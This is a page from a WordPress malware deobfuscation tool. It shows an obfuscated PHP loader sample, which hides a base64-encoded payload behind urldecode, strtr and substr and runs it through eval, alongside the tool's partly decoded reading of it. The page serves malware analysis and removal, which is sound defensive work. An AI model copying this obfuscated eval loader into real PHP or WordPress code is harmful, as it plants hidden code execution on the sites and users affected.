Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}...



Obfuscated php code

<?php $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}    
        .$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}    
        .$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};    
        eval($O00O0O("JE8wTzAwMD0iR3hkVkxITktTc012RGh6YXBGUVhsWVRacXRyY3VQbUlXVWpCbkplQUViZlJDa2dpT3d5b25acnZEcWxZU0JWYUZkTW1DTmJpTFJKaHdIWEF5SUtvV3NPR1RRUHVmRWtnemplVXhwY3RJRjlwbXF1WWhUdnlSM2dDRTI0ZVIyOXlnbm90WVN1Nm9OR2ZKY0c3emVqamhxbHlvRjBlUTIxNUEzTkJ4S2RhQTNiOWhudjJEV2dVRFdMeUEzZ2RFS2xMREpmeVIySHdycWRLQUtacEVuZ3dES05wRFc1YUFUZ3RoV05NcnowWkRUUWpBYzVkRVdONkUyNWRyM1Z5UjI5SHhPVk1WRlI3aG5ReVJXMUxJV2xhQTJOeUVLOWtSS05jRWl2TWhpdkh4Y0E3emVqanJpbGNvRjBlUTJsYUEyTnlFSzlrQUt2TWhpUTJoU0E3emVqakFuTk1BY3U5b3pyWVYwUXdSS3BaVm5oUUpObHlnemdVUU1CWXpidFF6ZWpqaG5vZUlTR3loaUFlc2ZnSVl6Z2pBMjRCb3pnMUEzb0JvemdwUmlsTVlKQll6aVFMcnF2Y0VVdWpobm83elQwWUlNND0iOyAgCiAgICAgICAgZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwgICAgCiAgICAgICAgJE9PME8wMCgkTzBPMDAwLDAsJE9PMDAwMCkpKSk7"));?>

Decoded(de-Obfuscated) php code

<?php

$O00OO0 = "n1zb/ma5\\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j";
$O00O0O = "base";
$O0OO00 = "strtr";
$OO0O00 = "substr";
$OO0000 = "52";
$O00O0O = "base64_decode";
eval {
    $O0O000 = "GxdVLHNKSsMvDhzapFQXlYTZqtrcuPmIWUjBnJeAEbfRCkgiOwyonZrvDqlYSBVaFdMmCNbiLRJhwHXAyIKoWsOGTQPufEkgzjeUxpctIF9pmquYhTvyR3gCE24eR29ygnotYSu6oNGfJcG7zejjhqlyoF0eQ215A3NBxKdaA3b9hnv2DWgUDWLyA3gdEKlLDJfyR2HwrqdKAKZpEngwDKNpDW5aATgthWNMrz0ZDTQjAc5dEWN6E25dr3VyR29HxOVMVFR7hnQyRW1LIWlaA2NyEK9kRKNcEivMhivHxcA7zejjrilcoF0eQ2laA2NyEK9kAKvMhiQ2hSA7zejjAnNMAcu9ozrYV0QwRKpZVnhQJNlygzgUQMBYzbtQzejjhnoeISGyhiAesfgIYzgjA24Bozg1A3oBozgpRilMYJBYziQLrqvcEUujhno7zT0YIM4=";
    eval('?>' . base64_decode(strtr(substr($O0O000, 104), substr($O0O000, $OO0000, $OO0000), substr($O0O000, 0, $OO0000))));
};

Malware detection & removal plugin for WordPress

（C）2020 Wordpress Doctor All rights reserved.